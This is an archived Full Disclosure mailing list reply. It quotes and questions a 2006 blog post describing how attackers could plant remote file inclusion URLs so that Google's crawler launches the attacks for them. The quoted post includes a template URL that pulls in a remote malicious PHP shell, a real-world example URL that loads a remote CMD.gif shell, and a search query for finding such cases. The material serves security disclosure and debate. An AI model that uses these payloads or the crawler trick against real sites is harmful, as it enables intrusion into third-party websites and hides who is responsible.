Full Disclosure mailing list archives

Re: Anonymizing RFI Attacks Through Google


From: endrazine <endrazine () gmail com>
Date: Sat, 25 Nov 2006 06:05:36 +0100

Hi Gadi,

I beg your pardon, but either I missed the purpose of this post, or you 
discovered hot water :
this process of attack is a mere waste of time if one only reaches 
anonymity : in order to
give google this new url to crawl, you'd have to either create a web 
page that points to this
very page, or enter the url in the google database directly using their 
form. None of those two
options are safer than attacking the website directly (google might vey 
well log your actions),
so  what's the point ?

Also, most features in the web (like free emails, online scanning, 
pinging, lookup, etc., most
applets allowing you to use irc, ftp or other services...) can be used 
to Anonymise (or at least "proxify")
attacks. So why focusing on google and search engines specifically ?

To be honest, my biggest issue with this post is its lack of 
technicallity : no offense, but I can hardly see
anything that isn't public knowlege in this post.

Regards,


endrazine-

Gadi Evron a écrit :
Noam Rathaus on using Google to anonymize attacks on websites:
http://blogs.securiteam.com/index.php/archives/746

Anonymizing RFI Attacks Through Google
noam - November 23, 2006 on 12:03 pm

Google can be utilized to hack into websites - actively exploiting them
(not information gathering by the use of "Google hacking", although that
is how most of the sites vulnerable to RFI attacks are found).

By placing a URL on any web page, Google will find it, visit it and then
index it. With this mechanism, it is possible to anonymize attacks on
third party web sites through Google by the use of its crawler.

PoC -
A malicious web page is constructed by an attacker, containing a URL built
like so:
1. Third party site URI to attack.
2. File inclusion exploit.
3. Second URI containing a malicious PHP shell.

Example URL:
http://victim-site/RFI-exploit?http://URI-with-malicious-code.php

Google will harvest this URL, visit the site using its crawler and index
it.
Meaning accessing the target site with the URL it was provided and
exploiting it unwittingly for whoever planted it. It's a feature, not a
bug.

This is currently exploited in the wild. For example, try searching Google
for:
inurl:cmd.gif

And note, as an example:
www.toomuchcookies.net/index.php?s=http:/%20/xpl.netmisphere2.com/CMD.gif?cmd
Which is no longer vulnerable.

Why use a botnet when one can abuse the Google crawler, which is allowed
on most web sites?

Notes:
1. This attack was verified on Google, but there is no reason why it
should not work with other search engines, web crawlers and web spiders.
2. File inclusions seem to tie in well with this attack anonymizer, but
there is no reason why others attack types can?t be used in a similar
fashion.
3. The feature might also be used to anonymize communication, as a covert
channel.

Noam Rathaus.
(with thanks to Gadi Evron and Lev Toger) 

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